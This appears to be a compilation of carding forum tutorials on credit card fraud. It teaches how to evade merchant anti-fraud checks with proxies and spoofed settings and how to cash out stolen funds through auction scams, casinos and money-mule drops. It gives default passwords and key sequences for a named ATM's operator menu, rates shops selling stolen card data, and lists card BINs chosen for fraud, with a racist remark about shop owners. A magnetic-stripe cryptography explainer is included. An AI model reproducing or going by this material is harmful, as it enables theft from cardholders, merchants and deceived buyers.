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# Big Carding Tutorials Pack (66 tutorials)
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About MMORPG
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So, all it about games and game stuff.
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1. MMORPG-Store's AntiFraud & Defence System. So elementary ways of such shops protection are:
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- IP-address must be from the same state, better – city;
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- Area code in entered phone must be from the same state;
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- You’ll be invited to live chat and asked for some questions;
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- If you’re looking nor trusted in first three steps, may be call requested;
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2. About games themselves. You should know that many of game-masters don’t like that game currencies
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are selling for real money.
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So be ready that in one beautiful day you can see message like “Your account is banned. Reason is
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hacker, scammer, fraudulent etc”. So you’re under the risk when you save on account at the age of a week
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big amounts of game currencies. So don’t be lazy and enter periodically on the account and make
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visibility that you’re real gamer and you like to play. And don’t forget that if you card the currencies –
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there could be chargeback. And of course after it your accout will e blocked anyway.
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3. What you need for work.
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- good proxy-service of course with enough value of socks4/5 located in needed states/cities;
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- credit card or better paypal or more better more than one paypal – needed to be explained? I think not;
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- e-mail. It’s better don’t use e-mails like 238jerom32 @yahoo.com. Don’t be lazy to search for some
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nicer addresses: something like MMORPG-KING @INORBIT.COM или SPACEWARRIOR
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@GAMER.LA (easy.la – hundreds of free domains) или
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LINEAGEFUN @WINNING.COM.
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4. About shops and their owners. Most of popular MMORPG supermarkets belong to small yellow-skin
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people with proud of that there are 1 000 000 000 of such people on the Earth. Second place take
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Americans and the third place take nobody but it’s possible to put there people from ex-USSR. And what
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interesting that last people don’t like to serve people from their countries and they mainly targeted on
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USA and EU customers.
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So that’s the list of things you will need:
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a. Socks-service. Almost everyone knows where to find it.
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b. VPN with good encryption.
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c. Software:
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- Permeo Security Driver, Socks Chain, FreeCAP and Other Analog
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- Soft which changes OS Language,OS Regional Settings & Time Zone,Date. Browser Type & Language.
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- Trusted track-eracer removing all info without recovering possible: CyberScrub,Ashampoo
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,TICEraser,ACRONIS Privacy Suite and other analog)
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d. AIM Messenger,Yahoo Messenger for possible contact with shop’s support.
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All About cashing
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In this article I would like to point out some of the working at the present time means of making money
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and laundering the earnings.
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First of all what could you make money on? There are a many topics written that newbie can read,
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although most of the schemes described are non-working or very difficult to realize. The main schemes
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are:
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- Adult
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- Casino / Totalizator
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- Auctions
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Basically, many articles were written about it. In this article I am going to sum up the schemes and talk
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about the last stage of carding - what to do with those sums that you managed to make using ways
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mentioned above, to be exact v how to get cold hard cash in the palm of your hand.
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Let's start with auctions.
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I will not be talking about making sellers accounts or where to get them - I personally do not sell them so
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if you are interested in that, search the forum. I will only talk about several characteristics of working
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with accounts - i.e. what exactly you should do in order for the funds to reach the person that will turn
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them into cash and eventually get the cash to you.
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The first, and important factor of success is the amount of positive feedbacks (responses) on seller-s
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account, which is the one you-ll be using. When the person searches through the auctions for the
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merchandize to purchase he pays attention to sellers feedbacks or the lack there of. More feedbacks
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translate into more trust from your potential buyer.
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Do not overlook that after the winner is determined on your lot, you will have to communicate with the
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buyer by the means of e-mail, therefore you will need to use good English v otherwise the unnecessary
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suspicions might come into play.
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On well-known online auction site eBay there is a list of some goods that are not allowed to be put up for
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the auction, as for the rest, anything goes from socks up to washing machines.
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Now about cashing. The most effective way of getting money out of the auctions - are and always were
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checks. More precisely, not just any checks, but Money Orders and Cashier Checks. I will explain why:
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- Why not wire transfer? The account used for wire will have a really short life span, nervous buyers have
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a habit of checking when and where did their money go. Keep in mind that they will not wait for too long
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so you are risking that the deal will go sour in the very end and you will not be able to collect.
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- Why not Personal Check? Because, after sending personal check to your drop, the buyer and authorities
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can easily track and subsequently stop the payment. Same applies to different escrow services like
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BidPay.
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- Money Orders and Cashier Checks v are not checks payable to a named person, but those that you can
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buy at your local post office or the bank. Those only contain personal information if the buyer decided to
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put it there. Postal Money Orders, in particular are impossible to stop payment on.
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So now we-ve discussed the best ways of getting the money out of the auctions. Keep in mind one
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nuance: try to ?work? on the buyer who has won your auction so that he stays calm as long as possible
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about the validity of the deal. It-s in your interests: The longer your buyer remains assured of receiving
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the merchandize, the longer your drop that receives checks lives, and therefore you?ll be able to make
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more money.
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One more thing that is also very important to keep in mind: Make sure that the buyer is physically as far
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away as possible from your drop - quite often there are such heroes that come to the address where they
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sent the check, demanding their goods or money.
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Now we shall proceed to on-line gambling and making money on that.
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Everyone is familiar with the basic technique. The majority of schemes that are connected in one way or
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the other with working in casinos are discussed on the CarderPlanet. I will talk only about some aspects
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concerned with the final (the most important and crucial) stage - with cashing.
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After a massive attack of carders on a casino that were processed by MicroGaming (MG), they have
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ceased to send prizes on ACH as this kind of money transfer meant the name of the owner on the account
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assigned is not checked. That basically means, the casinos from MG are hardly interesting anymore,
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because the money withdrawal process has gotten to be quite complicated.
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So v does that mean that casino theme has died? Not at all v There are other casinos that are served by
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different processing companies - for example, EFS. If you dedicate some time on searching the net you
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are sure to find something
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Before working with any casino make sure not to overlook reading their policies. Find out ways of a
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withdrawal.
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After the certain sum of money was won, the initial deposit must be returned on a card. That assures that
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no one get nervous neither the card owner nor a casino. And everyone, including you, will remain
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pleased.
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Further all is clear - go to reliable cashier for drop or the account, agree about interest and send transfer or
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the check - depending on a method that this casino uses.
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Further - adult (porn-sites).
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I?d like to emphasize yet again that quite a lot was written and discussed on this subject. Don-t be lazy
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and look in archives. A huge amount of information!
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Briefly:
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1. Create a site or order one from good web designer whom you-ll find on the Planet. A well-made,
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professional site will improve your odds.
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2. Fill it with the content.
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3. Connect to billing of your choice that pays often.
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4. Make or buy traffic and start to input the card numbers.
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During this process pay special attention to changing your proxy servers. Each new card must be linked to
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a different e-mail address. Do not overlook your system setting especially the language.
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On the present day (July, 13, 2002), these are the main schemes in carding that are connected with
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cashing. There is also a merchandize carding, working with your own merchants, and working with real
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plastic - but these subjects demand considerable experience so I would not advise beginners to start with
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them, nor they are connected with cashing, nuances of which were discussed in this article.
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And, in conclusion, little about cashing and cashiers.
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Work only with professional and well-checked cashiers. Ideal choice - verified people. The beginner or
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not a well-known cashier, even though he might not be a fake, can simple lack professionalism in this
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subject (and believe me - in the work of cashier there is such heap of hidden dangers!)
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Antifraud systems working
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In all online shops which accept credit card was added "Credit Card Fraud Detection service" (further
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CCFDs). It's task is to percent of possibility of fraud. It counts as named fraud score (FS) based on main
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factors of legity. For example if FS higher than 2,5 it's adviced to manager to hold order or claim a call.
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Factors of fraud:
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1. E-mail Domain - they look provider of your e-mail (if it's free email provider like hotmail.com)
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2. Geographic Source-IP A country which IP belongs to and a country you're entering in the shop must be
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the same.
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3. Anonymous Proxy - if IP of customer in black list.
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4 High Risk Country - for example Russia, Ukrain, Moldova, Belorussia, Columbia, Egypt, Indonesia,
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Livan, Macedonia
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5. Distance-Расстояние - distance between IP location and shipping address.
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6. Bin Number Match - country of bank emited the card and country of IP (check by BIN).
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9-Carder E-mail - if entered e-mail is in database of famous carders.
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10-Open Proxy - check IP on public proxy
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11-Spam - checking IP in spam blacklist
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And that's the formula for counting FS:
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FS =
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2.5 * isFreeEmail +
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2.5 * countryDoesntMatch +
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5 * highRiskCountry +
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10 * min(distance,5000) / maxEarthArc +
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2 * binDoesntMatch +
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5 * carderEmail +
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2.5 * proxyScore +
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spamScore/3
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maxEarth = 20037.
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Applied Cryptography for Magnetic Stripe cards
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1.0 Introduction
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The intention of this document is to provide a basic understanding of cryptography and techniques
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applied to magnetic stripe cards in the financial industry.
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This subject is normally approached with some trepidation by the uninitiated, however it is reasonably
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straightforward once the basic principles are explained.
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Cryptography is complex, but its practical application is less so. It is not necessary to understand the
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mathematics involved in order to successfully use and manage cryptography in a financial environment.
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Because of the security implications of card cryptography, it is extremely hard to find information in any
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form explaining this application, which adds to the somewhat unnecessary shroud of mystery surrounding
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the topic. In early implementations, a measure of additional security was provided by ensuring that few
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people knew exactly how these mechanisms worked and this method of operation has permeated into
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today?s implementations.
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However, none of the information provided in this document will compromise security in any way.
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Although other, more secure card tokens are becoming available, the magnetic stripe card is significantly
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cheaper than alternatives, and is by far the most common card type in use. Security techniques for
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magnetic cards have slowly but steadily improved, and properly implemented can provide perfectly
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adequate security for financial transactions in a very cost-effective manner.
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2.0 Use of cryptography in financial magnetic stripe cards
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The most commonly known use of cryptography is in the provision of a Personal Identification Number,
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or PIN, to allow a magnetic stripe card to be used in unattended environments such as ATM?s, or in other
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situations where traditional signature checking is inappropriate. This applies equally to credit, debit and
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ATM cards. There are not many financial cards in use today that do not have some kind of PIN capability.
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A second common use of cryptography is in providing anti-counterfeit mechanisms for the magnetic
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stripe. The intention is to prevent fraudulent construction of counterfeit cards by inserting a value on the
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magnetic stripe that cannot be derived from other card information. Thus when a card is validated online
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this value can be checked to determine whether the card is genuine or a forgery. Several different
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standards exist for this mechanism, the most common being the VISA Card Verification Value (CVV) or
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the Mastercard equivalent, CVC. For the purposes of this document I will refer to this mechanism as
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CVV as this is the term in most common use.
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Other uses of cryptography do not directly relate to the card, they generally relate to the encryption of
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PIN?s and messages whilst being transmitted in a financial environment to prevent their disclosure or
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alteration.
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These items will be discussed in more detail in subsequent sections.
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3.0 Basic Cryptography
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A basic understanding of cryptographic techniques is required in order to understand this document.
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The majority of magnetic card encryption is based on the Data Encryption Algorithm (DEA), usually
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called DES or Data Encryption Standard. The idea behind DES is that a clear value is passed to the DES
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algorithm, which can be implemented either as software routines or in dedicated hardware. DES then
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encrypts the clear value using a key (a secret 64-bit value) and outputs an encrypted value.
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The unencrypted input is usually referred to as Cleartext, while the encrypted result is referred to as
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Ciphertext. The operation that turns cleartext into ciphertext is known in DES terms as an ?encipher?
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operation.
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Figure 1 - DES Encipher operation
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Note the following:
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The DES algorithm is NOT secret. It is publicly available. The Key, however, is secret.
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This process is reversible. Executing a DES ?decipher? function using the same key will convert the
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ciphertext into cleartext.
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A value encrypted with a key is generally referred to as being encrypted ?under? that key.
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The security and integrity of the whole operation depends on the secrecy of the key used. The key is a
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random value that is strictly protected and never disclosed or written down. Most of the complexity
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involved in DES cryptography systems is related to protecting, storing and transmitting keys, and these
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activities are referred to as key management.
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Note also that the DES encipher operation as described above is not foolproof. In theory, a massively
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parallel processor could derive the key in about a days processing. Much is made of this possibility in
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discussions on strengthening security, however, additional procedures can be implemented which go
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some way towards reducing the effect of this limitation.
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If we take a simple example to demonstrate this: computer logon passwords.
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Passwords used on computer systems are commonly encrypted after they have been set, and they are
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stored in a file in encrypted format. When a user signs on, the password is entered, usually in a hidden
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field, in cleartext. It is important to understand that this value is NOT compared against a value that is
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deciphered from the password file. The cleartext password in enciphered under the same key and
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compared against the enciphered value stored on the password file. Cleartext, enciphered under the same
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key, will always provide the same result, and almost all cryptographic validation compares ciphertext to
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ciphertext to avoid exposing cleartext values inside computer systems that could be compromised by
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memory dumps and so on.
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Figure 2 - Password encryption
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In this scenario however, a user of a password can always claim that his password can be exposed by
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deciphering the enciphered value, and that this is not under his control - and this is true.
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Dynamic key exchange
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Many financial systems implement dynamic key exchange. While not exclusively relating to magnetic
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stripe cards, it is relevant to include it here.
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In dynamic key exchange, two parties change keys ?on the fly? to ensure that one key is not used for an
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extended period and risks exposure. This is normally used in the financial environment where two hosts
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are exchanging financial authorisation messages - for example an acquirer bank and an issuer bank. When
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the acquirer bank forwards the PIN to the issuer bank for validation, it must do so encrypted to avoid
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disclosure. Obviously, the issuer will need access to the key used to encrypt the PIN so that it may be
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deciphered for validation. These keys will have been previously agreed, and may be changed using
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dynamic key exchange where keys are shipped (themselves enciphered under a ?key encryption key?) and
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changed frequently in real time for added security.
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It must be stressed that no cryptography system is ever completely secure. There are always weaknesses
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in any system, both from a technical viewpoint and operationally, where human and operational
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procedures may be compromised.
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4.0 Practical application of cryptography in Magnetic stripe cards.
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The intention of this section is to demonstrate how cryptographic principles are (usually) applied to
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magnetic stripe cards in a practical context.
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4.1 PIN Processing
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The PIN principle is based on the fact that nobody other than the legitimate cardholder has knowledge of
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the PIN. Thus when a PIN is provided for a customer:
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It must not be stored anywhere in cleartext (except in the secure PIN mailer destined for the customer)
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It must not be possible to reverse-engineer the PIN from information on the magnetic stripe or from a
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centrally held database.
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Normally, a PIN is a 4-digit numeric value. Other schemes exist, but we will use this format for
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illustration as it is a common standard.
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When a PIN is issued, the sequence of events is as follows:
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A 4-digit random number is generated. This is the PIN.
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The PIN is combined with other information, such as the account number, to create a block of data for
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input to the cryptography process.
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The input block is triple encrypted using the PIN working keys
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Digits are selected from the ciphertext result. These become the Pin Verification Value or Pin Offset.
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The PIN Offset is stored
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The PIN mailer is printed
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Memory is cleared to binary zeroes to remove all traces of the clear PIN.
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At this point, the only place the PIN value exists is inside the PIN mailer. The PIN cannot be derived
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from the PIN offset.
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When the card is used and the PIN entered, the PIN offset is calculated again from the entered PIN, using
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the PIN working keys and compared to the stored offset value to determine if the correct PIN was entered.
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Clearly this means that when a PIN is validated, the validating system must have access to the PIN
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working keys used during initial PIN issue or subsequent PIN change.
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It should be re-emphasised that the offset comprises selected digits from the ciphertext. Typically this
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would be 4-6 digits. It is not possible to recreate the keys or derive the PIN from this value.
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Notes:
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I.In some implementations, the PIN offset is stored on the magnetic stripe on the card. This is intended to
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be used in terminals which can perform local PIN validation. However, this technique is becoming rare as
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it prevents deployment of user-selectable PIN?s.
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II. Where the user is given the option to change PIN, the new offset is calculated in realtime and written
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to the database. Note that if the PIN is forgotten, it cannot be recreated.
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III. The method described above is generic. There are many variations, such as the IBM3624 Method-A,
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Diebold method, and so on, however the principle remains the same.
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IV. In many methods, the framework exists for using different key pairs based on an index value, usually
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stored on the magnetic stripe. This is a single digit value denoting the index of the key pair to be used.
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The intent is so that a) the same keys are not used across the entire cardbase, and c) that new keys can be
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used on re-issue without affecting existing cards.
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4.2 CVV processing
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It was quickly understood that the proliferation of financial cards exposed institutions to risk from
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counterfeiters. In the credit card world, this came from manufacture of cards with or without magnetic
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stripe encoding that possessed valid numbers and seemingly valid names and logos. In the ATM card
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arena, attackers observed PIN number entry ?over the shoulder?, collated these PIN?s with information
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from discarded receipts and so on, and constructed their own magnetic stripes on dummy cards for use at
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their leisure with observed PIN numbers.
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These threats and others led to the introduction of the Card Verification Value, a non-derivable sequence
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of digits constructed by cryptographic process and written to the magnetic stripe of the card. This means
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that electronic capture of transactions (either at ATM or Point of Sale) are effectively protected against
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counterfeiters.
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A combination of static data such as account number is triple encrypted using a special Card Verification
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key pair. Selected digits from the result are used to create the CVV, and this is written onto the magnetic
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stripe.
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Similar comments apply to CVV as those for Pin Offset; As the CVV consists of few digits, and triple
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encryption is used, the CVV keys and values are highly secure and presence of a valid CVV provides an
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added level of confidence that the card is not counterfeit.
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It should be noted that CVV is simply an additional protection method; it is not foolproof. It does not, for
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instance, protect against fraudulent captures of magnetic stripe data using, say, fake ATM?s.
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A further development of CVV, CVV2, is used for telephone authorisations. A similar (although not
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identical) calculation is performed as for CVV, and selected digits from the result are physically printed
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on the back of the card. These digits can then be requested by a call centre wishing to determine if the
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caller is really in possession of the card. Once again, this is an additional check, and not foolproof.
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4.3 Key management
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Key management relates to the storage, protection and transmission of keys. A single financial
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installation will have many DES keys, and these require careful management if they are not to become
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compromised or confused. One of the worst forms of debugging of computer faults is when cryptography
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is involved as traces and dumps are meaningless, and it can be very hard to discover that the wrong
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cryptography keys are being used!
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Keys are normally managed in hierarchies. Keys that are actually used for computation, such as PIN
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validation [working keys] are themselves stored in enciphered format under a key encryption key. Other
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key sets will exist for transporting keys from one location to another, such as two nodes in a network.
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These are known as transport keys.
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In good key management systems, working keys are never stored or exposed in clear format. Even when
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they are initially created, they are frequently created by automated process and never known to
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individuals.
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When initial keys are created, the 64 bits are split between two or more individuals, who then toss a coin
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once for each bit required. The two or more individuals then key in their segment of the random key
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alone, and thus no one individual ever has sight of a whole key. This method is normally used for initial
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master key generation.
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Although a simple concept, key management can become quite complex in implementation.
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In a simple ATM network for instance, a terminal master key is used to encipher working keys in transit.
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A terminal master key (TMK) is generated for each terminal, split into two halves and printed (or
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sometimes encoded on a special magnetic card). Each TMK is then installed at their respective ATM?s.
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The host system will then download terminal working keys, enciphered under the respective terminal
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master key, to each ATM. The terminal working key is then used to encipher PIN data in transit to the
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host during normal processing. If required, the terminal working key can be changed at regular intervals
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or through dynamic key exchange - but this process requires careful management.
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It should be noted that the biggest single security exposure to DES based cryptographic subsystems is in
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the exchange of keys, thus good key management procedures are paramount.
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4.4 Physical implementation
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Cryptographic processing and key management is normally performed in specialised, dedicated secure
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hardware. Although DES can be implemented entirely in software (using products such as IBM?s PCF), it
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is less secure, and the DES algorithm can be quite processor intensive.
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There are companies that specialise in dedicated cryptographic units, such as Racal and Atalla. They are
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commonly called HSM?s (Host Security Module) although this is the Racal proprietary name for the unit.
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When using these devices, the intent is that all encipher and decipher activity takes place in the secure
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unit, and that clear keys and cleartext values are never exposed outside the unit.
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Physically, HSM?s are tamper proof and intended for installation in secure computer rooms. Attempts to
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open them will result in the destruction of keys contained in the devices.
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HSM?s are also capable of generating new random keys and random numbers for use as PIN?s in a secure
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manner.
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Some applications use physical telecommunications line encryption for added security, and there are a
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variety of manufacturers of this type of device. They are effectively ?black box? and require no special
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knowledge.
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5.0 Examples
|
||
5.1 Cryptography in a normal ATM withdrawal
|
||
Consider a common ATM transaction:
|
||
A customer inserts his card in the ATM
|
||
The customer enters his PIN
|
||
The customer requests cash
|
||
The transaction is approved, cash is dispensed
|
||
There?s an awful lot of cryptography going on in this process. For simplicity, we?ll assume the acquiring
|
||
|
||
and issuing bank are the same.
|
||
The cryptography activity is identified in italics in the sequence:
|
||
1. A customer inserts his card in the ATM
|
||
The magnetic stripe is read and stored in a buffer in the ATM
|
||
2. The customer enters his PIN
|
||
The PIN is entered into a tamper-proof PIN pad The stored PIN is stored in a security module in hardware
|
||
3. The customer requests cash
|
||
The message is constructed in the ATM The PIN (and possibly more) is enciphered under the Terminal
|
||
key
|
||
The message is sent to the host, possibly enciphered in comms hardware.
|
||
On receipt at the host, the comms level encryption is deciphered The CVV is calculated and compared to
|
||
the value on the magstripe The PIN under the Terminal key is deciphered The PIN offset or PVV is
|
||
calculated The PIN offset or PVV is compared to the database of PVV?s
|
||
4. The transaction is approved, cash is dispensed
|
||
Note: all the host cryptography functions are normally performed in the Host Security module. No
|
||
Cleartext values are exposed to application programs or outside the secure environment.
|
||
5.2 Cryptography in an EFTPoS transaction
|
||
Even in a signature authorised environment, the CVV from the magnetic stripe can be validated at the
|
||
host system to detect counterfeit cards. Clearly this only works in online environments as the CVV
|
||
validation requires a cryptographic calculation to be performed at the host.
|
||
[Note: It is possible, and some manufacturers support, local key storage on EFTPoS devices and
|
||
distributed terminals. Because of the key management complications, these devices are not considered
|
||
here]
|
||
A more common use of cryptography in EFTPoS environments (and, increasingly in ATM and other
|
||
traffic) is the MAC (Message Authentication Code). The MAC check can be thought of as a value
|
||
calculated from the contents of all the critical fields in a message (such as card number and amount) and
|
||
passed through a cryptographic algorithm. Although the message is carried over transmission lines in
|
||
clear, the validation of the MAC field at the recipient will determine whether fields have been tampered
|
||
with. [for the technically minded, MAC can be thought of as an encrypted LRC field]. The overhead of
|
||
MAC is quite small. (The MAC is defined as 16 bytes in ISO8583).
|
||
5.3 Other financial cryptography applications
|
||
As well as traditional uses of cryptography as described above, interbank networks (such as SWIFT) have
|
||
historically been large users of cryptographic techniques.
|
||
A plethora of new delivery mechanisms and far wider distribution of advanced technology to the public
|
||
has increased both the interest in and the use of cryptographic techniques.
|
||
In cases where cryptography is required for widespread dissemination to the public (such as PC based
|
||
home banking) ordinary DES is too complex to manage securely. More appropriate and more secure
|
||
algorithms such as RSA (A ?public key? encryption system) have evolved and been deployed in these
|
||
environments - they are outside the scope of this paper but review of public key algorithms is especially
|
||
encouraged where appropriate.
|
||
|
||
Some corporate, EDI and treasury applications use highly secure DES with a combination of techniques -
|
||
MAC, physical encryption, dynamic key exchange, smart card key storage and so on. In one
|
||
implementation reviewed, the working key is changed every transaction by the result of a MAC key
|
||
calculation residue (a so-called ?one time? key system).
|
||
ATM Hacking Tutorial
|
||
HOW TO HACK THE TRANAX MINIBANK 1500 ATM MACHINE
|
||
“ENTER PASSWORD” will be displayed. Enter
|
||
Master, Service or Operator Password.
|
||
Defaults:
|
||
Master =555555
|
||
Service = 222222
|
||
Operator = 111111
|
||
#1- To access the Operator Function menu, hold the <Cancel>, <Clear> and <Enter>
|
||
keys simultaneously for 2 seconds, release them and press 1, then press 2, then
|
||
press 3. The timing of this procedure can be difficult at first.
|
||
Note: The Operator Function menu can only be accessed when the machine is either
|
||
in service (“swipe your card” screen) or out of service. If the machine is attempting
|
||
to connect the host or initializing, you will not be able to use the key commands to
|
||
access the Operator Function Menu.
|
||
If you have trouble accessing the Operator Menu, power off the ATM and then either
|
||
open the vault door or remove the paper from the printer and power back on. This
|
||
will force the ATM to the Operator Menu.
|
||
2- Once you successfully completed the key
|
||
combination, you will be prompted to enter a
|
||
password. There are 3 options for passwords.
|
||
· Operator Password (allows access to basic
|
||
menu structure)
|
||
· Service Password (allows access to basic
|
||
and diagnostic menus)
|
||
· Master Password (allows access to all
|
||
menus including setup parameters)
|
||
Passwords are very important to maintaining
|
||
security for your ATM. Your
|
||
dealer/distributor will provide you with
|
||
default password information.
|
||
3- left is the complete Operator
|
||
Function menu, depending on which
|
||
password you entered (operators, service,
|
||
master) you may not see certain functions.
|
||
For example, if you use an operator password
|
||
you will not see the Host Setup button, as
|
||
you will not have access to that menu.
|
||
|
||
good luck.
|
||
AUTOMATIC CVV SHOPS RATED
|
||
Here il be rating all the automatic CVV selling shops.
|
||
vlt.cc - vault market - 95% rating - VERY GOOD
|
||
pwnshop.cc - pawn shop - 80% rating - VERY GOOD TO GOOD
|
||
cardshop.tv - card shop - 80% rating - VERY GOOD TO GOOD
|
||
ccstore.ru - cc store - 75% rating - GOOD
|
||
freshstock.biz - fresh stock - 65% rating - OK
|
||
ccc.lc - SHOP - 60% rating - OK
|
||
All the ratings are based on the
|
||
-cvv quality and validity
|
||
-how easy funds can be loaded
|
||
-the quality of the support being provided by admin and owners of the shop
|
||
Please feel free to add and comment on the shops you know.
|
||
enjoy
|
||
Avs Pass Bins
|
||
For people who dont know what non-avs cards are here is the explanation:
|
||
AVS (Address Verification System) is used to check if the billing address provided is correct. For
|
||
example even if the card details (CCnum, exp.date, 3/4 digit security code) matches the correct info and
|
||
the Billing address does not macth, the card is marked as "Declined" and the order does not proccess.
|
||
AVS connects to the bank and verifies the info provided.
|
||
However some banks do not allow this kind of verification, allowing the carder to input whatever billing
|
||
information they want.
|
||
|
||
Q) Why are non-avs card so useful?
|
||
The answer is very simple. You can just input the shipping address as billing address when carding,
|
||
means it would be same, which is a lot higher chance for the stuff to ship.
|
||
So here we go.
|
||
Visa:
|
||
492142
|
||
454623
|
||
453904
|
||
407220
|
||
492942
|
||
477912
|
||
456469
|
||
492942
|
||
456004
|
||
466188
|
||
MasterCard:
|
||
523232
|
||
Awesome BINs
|
||
Me and my partners have been carding for over 10 to 15 years.
|
||
In my base of research over the last 2 years, i have selected these 101 BIN's as being to best card with in
|
||
USA, EUROPEAN, ASIAN AND UK SHOPS POS (POINT.OF.SALE) systems. These cards on these
|
||
BINs are proven to authorise for swipes of 600usd all the way to 12.5k usd per 1 swipe.
|
||
Я и мои партнеры были кардинг более 10 до 15 лет.
|
||
В моей базе исследования в течение последних 2 лет, я выбрал эти 101 BIN, как в том, чтобы
|
||
лучшая карта в США, европейских и Великобритании МАГАЗИНЫ POS (POINT.OF.SALE)
|
||
систем. Эти карты на эти бункеры оказалось разрешение на пойло из 600usd весь путь до 12.5k
|
||
долл. США за 1 салфетки.
|
||
601100 OK DISCOVER USA
|
||
601120 OK DISCOVER USA
|
||
601129 OK DISCOVER USA
|
||
601130 OK DISCOVER USA
|
||
601149 OK DISCOVER USA
|
||
603532 1 Citibank (Home Depot) USA
|
||
371267 15 AMEX USA GREEN
|
||
371268 16 AMEX USA GREEN
|
||
371269 14 AMEX USA GREEN
|
||
371271 3 AMEX USA GREEN
|
||
371273 4 AMEX USA GREEN
|
||
|
||
371274 13 AMEX USA GREEN
|
||
371275 15 AMEX USA GREEN
|
||
371276 42 AMEX USA GREEN
|
||
371277 48 AMEX USA GREEN
|
||
371278 37 AMEX USA GREEN
|
||
371279 28 AMEX USA GREEN
|
||
371280 29 AMEX USA GREEN
|
||
371281 44 AMEX USA GREEN
|
||
371282 47 AMEX USA GREEN
|
||
371310 19 AMEX USA BLUE FOR BUSINESS
|
||
371311 14 AMEX USA GOLD
|
||
371312 19 AMEX USA GOLD
|
||
371313 26 AMEX USA GOLD
|
||
71319 44 AMEX USA PLATINUM
|
||
371320 OK AMEX USA CENTURION
|
||
371321 51 AMEX USA PLATINUM
|
||
371322 OK AMEX USA PLATINUM
|
||
371323 92 AMEX USA SMALL CORPORATE CARD
|
||
371324 75 AMEX USA SMALL CORPORATE CARD
|
||
371544 38 AMEX USA CENTURION
|
||
371545 63 AMEX USA CENTURION
|
||
371546 63 AMEX USA CENTURION
|
||
371547 30 AMEX USA CENTURION
|
||
371548 49 AMEX USA CENTURION
|
||
371549 48 AMEX USA CENTURION
|
||
400216 1 Teller A.S. Debit PLATINUM Norway Oslo - NEW
|
||
400226 20 Blackhawk Community Credit Union Debit CLASSIC United States of America Janesville
|
||
Wisconsin WI NEW
|
||
400229 1 Capital One Bank (Usa), National Association Credit BUSINESS United States of America
|
||
Glen Allen Virginia VA NEW
|
||
400264 18 ITS Bank Debit CLASSIC United States of America Johnston Iowa IA NEW
|
||
400266 6 Columbia Community Credit Union Debit BUSINESS United States of America Vancouver
|
||
Washington WA NEW
|
||
400275 20 Fia Card Services, National Association (2) Credit BUSINESS United States of America
|
||
Wilmington Delaware DE NEW
|
||
400279 2 Sidell State Bank Debit CLASSIC United States of America Sidell Illinois IL NEW
|
||
400284 12 First United National Bank Debit CLASSIC United States of America Fryburg Pennsylvania
|
||
PA NEW
|
||
400292 8 Eecu A Community Credit Union Debit CLASSIC United States of America Jackson Michigan
|
||
MI NEW
|
||
400309 2 The Bank of Nova Scotia Credit CLASSIC Dominican Republic NEW
|
||
400336 24 Peapack-Gladstone Bank Debit CLASSIC United States of America Gladstone New Jersey NJ
|
||
NEW
|
||
400343 4 West Coast Bank Debit PLATINUM United States of America Lake Oswego Oregon OR NEW
|
||
400344 OK Capital One Bank (Usa), National Association Credit PLATINUM United States of America
|
||
Glen Allen Virginia VA NEW
|
||
400375 15 Silverton Bank, National Association Credit BUSINESS United States of America Atlanta
|
||
Georgia GA NEW
|
||
400379 3 Fremont Bank Debit BUSINESS United States of America Fremont California CA NEW
|
||
400382 2 The Monticello Banking Company Debit BUSINESS United States of America Monticello
|
||
Kentucky KY NEW
|
||
400600 1 Rockwood Bank Debit CLASSIC United States of America Eureka Missouri MO NEW
|
||
400603 27 Signature Bank Debit CLASSIC United States of America Bad Axe Michigan MI NEW
|
||
441238 68 First Federal Bank of Ohio Debit CLASSIC United States of America Galion Ohio OH NEW
|
||
441241 1 Lancaster Red Rose Credit Union Debit CLASSIC United States of America Lancaster
|
||
Pennsylvania PA NEW
|
||
|
||
441242 5 Arrowhead Bank Debit CLASSIC United States of America Llano Texas TX NEW
|
||
441251 94 Commerce Bancshares, Inc. Debit CLASSIC United States of America Kansas City Missouri
|
||
MO NEW
|
||
441254 39 Commerce Bancshares, Inc. Credit CLASSIC United States of America Kansas City Missouri
|
||
MO NEW
|
||
441276 8 Commerce Bancshares, Inc. Debit BUSINESS United States of America Kansas City Missouri
|
||
MO NEW
|
||
441277 18 Elevations Credit Union Debit CLASSIC United States of America Boulder Colorado CO
|
||
NEW
|
||
441278 6 Elevations Credit Union Credit CLASSIC United States of America Boulder Colorado CO
|
||
NEW
|
||
38421 2 |201| PLATINUM (CREDIT) | CITIBANK BERHAD | MALAYSIA
|
||
438502 1 |101| CLASSIC (DEBIT) | WELLS FARGO BANK N.A. | USA
|
||
438526 1 |101| CLASSIC (DEBIT) | STATE CENTER C.U. | USA
|
||
438573 1 |101| CLASSIC (DEBIT) | WELLS FARGO BANK N.A. | USA
|
||
438634 1 |101| CLASSIC (DEBIT) | SECURITYPLUS F.C.U. | USA
|
||
438688 2 |101| CLASSIC (DEBIT) | MERIWEST C.U. | USA
|
||
438736 1 |101| PLATINUM (CREDIT) | MAYO EMPLOYEES F.C.U. | USA
|
||
438755 5 |101| CLASSIC (CREDIT) | SAN DIEGO COUNTY C.U. | USA
|
||
516319 8 |201| STANDART (DEBIT) | WESTPAC BANKING CORPORATION | AUSTRALIA
|
||
516320 1 |201| STANDART () | WESTPAC BANKING CORPORATION | AUSTRALIA
|
||
516321 1 |201| () | WESTPAC BANKING CORPORATION | AUSTRALIA
|
||
516330 1 |201| STANDART () | WESTPAC BANKING CORPORATION | AUSTRALIA
|
||
517669 4 |101| GOLD (DEBIT) | HSBC BANK NEVADA N.A. | USA
|
||
517800 11 |101| GOLD (DEBIT) | FIRST PREMIER BANK | USA
|
||
517805 96 |101| PLATINUM (DEBIT) | CAPITAL ONE BANK | USA
|
||
517873 1 |101| (DEBIT) | CU COOPERATIVE SYSTEMS | USA
|
||
517945 1 |101| PLATINUM (DEBIT) | CHASE BANK USA N.A. | USA
|
||
450998 46 VALES_INTERCONTINENTALES_S.A. CREDIT GOLD/PREM COSTA_RICA
|
||
451477 1 AVAL_CARD_(COSTA_RICA),_S.A. CREDIT PLATINUM COSTA_RICA
|
||
454738 1 TARJETAS_CUSCATLAN_S.A. CREDIT BUSINESS COSTA_RICA
|
||
492151 16 VALES_INTERCONTINENTALES_S.A. CREDIT CLASSIC COSTA_RICA
|
||
493189 2 AVAL_CARD_(COSTA_RICA),_S.A. CREDIT GOLD/PREM COSTA_RICA
|
||
493190 2 AVAL_CARD_(COSTA_RICA),_S.A. CREDIT CLASSIC COSTA_RICA
|
||
415080 1 WELLS_FARGO_BANK,_N.A. N/A N/A UNITED_STATES_OF_AMERICA
|
||
